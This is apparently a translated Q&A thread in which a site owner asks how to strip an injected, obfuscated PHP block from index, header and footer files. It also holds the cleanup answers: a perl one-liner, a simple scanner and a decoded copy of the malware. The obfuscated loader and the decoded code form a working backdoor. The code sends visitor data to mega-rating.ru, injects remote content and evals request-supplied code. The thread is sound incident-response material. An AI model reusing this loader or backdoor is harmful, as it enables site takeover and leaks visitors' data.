Все файлы Index.php, header.php, footer.php на моем сервере имеют этот сегмент кода. Возможно вредоносное ПО. Теперь я хотел бы удалить все эти ненужные данные сразу из всех моих файлов. Я использую PHP в системе Debian.
<?php
//###=CACHE START=###
error_reporting(0);
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl9gMJquYKWuqTyhMl5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwN1LJIzMGIxMwN4ZGt5AwquZJV0AGx2ATZmAQLkAmSyVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVz1yM2RgpzS0nJ5aYaW1VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPVjAJSyMzH1MTLjBQR4BGL3LGSvAQH5AwEwZmD2ZGpkMFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvOgMJquYKWuqTyhMl5lqIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwL5LzZjBGZjVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
?>
Я пробовал использовать Regex через PHP, но без помощи
я также пробовал sed на сервере Linux
sed -e '/@\$stringd' index.php
но не удалось сохранить файл.
Пожалуйста помоги.
Переустановка сервера действительно самый безопасный вариант.
Но без последних резервных копий этих сценариев PHP …
В любом случае, sed не лучший инструмент для многострочных замен в файлах.
И вы хотели бы удалить что-нибудь между этими комментариями CACHE.
Я бы использовал Perl или Awk для этого.
Вот однострочный perl-решение, которое удаляет эти комментарии из файла.
(также создает копию исходного файла в формате .bak)
perl -i.bak -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' index.php
Обратите внимание, что @ использовался для разделителей регулярных выражений. типично /
используется, но таким образом /
не нужно быть в обратном слэге в регулярном выражении.
Для нескольких файлов * .php (без копий .bak)
perl -i -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' *.php
Используемые флаги Perl:
-i[extension] edit <> files in place (makes backup if extension supplied)
-p assume loop like -n but print line also, like sed
-0[octal] specify record separator (\0, if no argument)
-e program one line of program (several -e's allowed, omit programfile)
Как сказал @jeroen, переустановка была бы хороша, потому что вы действительно не знаете, какие могут быть бэкдоры сейчас.
Тогда вам придется очистить ваши файлы PHP. Создайте новый скрипт в корневой директории ваших проектов scan.php
,
Вместо того, чтобы автоматически устранять проблемы, я бы предложил создать помощника, который бы проверял, где еще может быть вредоносное ПО внутри вашего кода:
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo)
{
if (!$fileinfo->isDot())
{
$fileContents = file_get_contents($fileinfo->getFilename());
if (strpos($fileContents, 'str_rot13') !== false)
{
print "Check this file: " . $fileinfo->getFilename() . "\n";
}
}
}
Этот скрипт довольно сырой, вам придется модифицировать его для своих нужд.
Декодированный скрипт выглядит следующим образом:
<?php
if (isset($ibv)) {
echo $ibv;
} else {
error_reporting(0);
ini_set('display_errors', '0');
if (!isset($ibv)) {
if (!empty($_COOKIE['client_check'])) {
die($_COOKIE['client_check']);
}
if (preg_match('!\S!u', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {
$c = 'u';
} else {
$c = 'w';
}
$d = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$u = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$url = 'http://mega-rating.ru/get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1');
if (ini_get('allow_url_fopen') == 1) {
$ibv = file_get_contents($url);
} elseif (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen('mega-rating.ru', 80, $errno, $errstr, 30);
if ($fp) {
$out = 'GET /get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1')." HTTP/1.1\r\n";
$out .= "Host: mega-rating.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$resp = '';
while (!feof($fp)) {
$resp .= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split("/\R\R/", $resp, 2);
$ibv = $body;
}
}
};
if (isset($_REQUEST['p']) && $_REQUEST['p'] == '69bc0930') {
eval(stripslashes($_REQUEST['c']));
}
echo $ibv;
}
Я бы также предложил заблокировать все подключения к хосту mega-rating.ru
,